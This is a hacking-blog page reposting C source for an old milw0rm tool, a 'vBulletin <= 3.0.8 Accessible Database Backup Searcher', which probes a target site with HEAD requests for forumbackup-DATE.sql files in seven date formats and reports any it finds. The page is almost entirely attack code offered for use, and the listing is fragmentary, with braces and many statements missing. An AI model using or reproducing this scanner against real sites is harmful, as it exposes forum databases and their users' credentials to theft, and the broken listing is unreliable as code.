Saturday, August 6, 2011
static char datestring[40]; |
ttt= time (NULL)- minustime; |
strftime (datestring, sizeof (datestring), "%m-%d-%Y" , localtime (&ttt)); |
printf ( "Searching: forumbackup-%s.sql\n" , datestring); |
static char datestring[40]; |
ttt= time (NULL)- minustime; |
strftime (datestring, sizeof (datestring), "%Y-%d-%m" , localtime (&ttt)); |
printf ( "Searching: forumbackup-%s.sql\n" , datestring); |
static char datestring[40]; |
ttt= time (NULL)- minustime; |
strftime (datestring, sizeof (datestring), "%d-%m-%Y" , localtime (&ttt)); |
printf ( "Searching: forumbackup-%s.sql\n" , datestring); |
static char datestring[40]; |
ttt= time (NULL)- minustime; |
strftime (datestring, sizeof (datestring), "%m.%d.%Y" , localtime (&ttt)); |
printf ( "Searching: forumbackup-%s.sql\n" , datestring); |
static char datestring[40]; |
ttt= time (NULL)- minustime; |
strftime (datestring, sizeof (datestring), "%Y.%d.%m" , localtime (&ttt)); |
printf ( "Searching: forumbackup-%s.sql\n" , datestring); |
static char datestring[40]; |
ttt= time (NULL)- minustime; |
strftime (datestring, sizeof (datestring), "%d.%m.%Y" , localtime (&ttt)); |
printf ( "Searching: forumbackup-%s.sql\n" , datestring); |
static char datestring[40]; |
ttt= time (NULL)- minustime; |
strftime (datestring, sizeof (datestring), "%d%m%Y" , localtime (&ttt)); |
printf ( "Searching: forumbackup-%s.sql\n" , datestring); |
main( int argc, char *argv[]) { |
char buffer[1000],host[255],path[255],dog[255],c; |
struct sockaddr_in localAddr, servAddr; |
"Accept-Language: en-us,en;q=0.5\r\n" |
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" |
"User-Agent: we want your backups - milw0rm\r\n" |
"Connection: close\r\n\r\n" ; |
printf ( "vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n" ); |
printf ( "usage: %s -h hostname/ip -p /path/ \n" ,argv[0]); |
while ((c = getopt (argc, argv, "h:p:" )) != EOF) |
strncpy (host,optarg, sizeof (host)); |
strncpy (path,optarg, sizeof (path)); |
printf ( "Unknown Host '%s'\n" ,host); |
printf ( "Trying To Connect To [%s]\n" ,host); |
servAddr.sin_family = h->h_addrtype; |
memcpy (( char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); |
servAddr.sin_port = htons(SERVER_PORT); |
sd = socket(AF_INET, SOCK_STREAM, 0); |
perror ( "Can Not Open The Socket\n" ); |
localAddr.sin_family = AF_INET; |
localAddr.sin_addr.s_addr = htonl(INADDR_ANY); |
localAddr.sin_port = htons(0); |
rc = bind(sd, ( struct sockaddr *) &localAddr, sizeof (localAddr)); |
printf ( "%d: cannot bind port TCP %u\n" ,sd,SERVER_PORT); |
rc = connect(sd, ( struct sockaddr *) &servAddr, sizeof (servAddr)); |
perror ( "cannot connect\n" ); |
memset (buffer,0, sizeof (buffer)); |
snprintf(buffer, sizeof (buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s" ,path,getdate(i),host,http); |
snprintf(buffer, sizeof (buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s" ,path,getdate2(i),host,http); |
snprintf(buffer, sizeof (buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s" ,path,getdate3(i),host,http); |
snprintf(buffer, sizeof (buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s" ,path,getdate4(i),host,http); |
snprintf(buffer, sizeof (buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s" ,path,getdate5(i),host,http); |
snprintf(buffer, sizeof (buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s" ,path,getdate6(i),host,http); |
snprintf(buffer, sizeof (buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s" ,path,getdate7(i),host,http); |
rc = send(sd,buffer, strlen (buffer), 0); |
memset (buffer,0, sizeof (buffer)); |
rc=recv(sd,buffer, sizeof (buffer),0); |
if ( strstr (buffer, "404" )) break ; |
if ( strstr (buffer, "200 OK" )) |
printf ( "Database backup found: %s%sforumbackup-%s.sql\n" , host, path, getdate(i)); |
printf ( "Database backup found: %s%sforumbackup-%s.sql\n" , host, path, getdate2(i)); |
printf ( "Database backup found: %s%sforumbackup-%s.sql\n" , host, path, getdate3(i)); |
printf ( "Database backup found: %s%sforumbackup-%s.sql\n" , host, path, getdate4(i)); |
printf ( "Database backup found: %s%sforumbackup-%s.sql\n" , host, path, getdate5(i)); |
printf ( "Database backup found: %s%sforumbackup-%s.sql\n" , host, path, getdate6(i)); |
printf ( "Database backup found: %s%sforumbackup-%s.sql\n" , host, path, getdate7(i)); |
memset (buffer,0, sizeof (buffer)); |
}
- Copyright ©
.Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -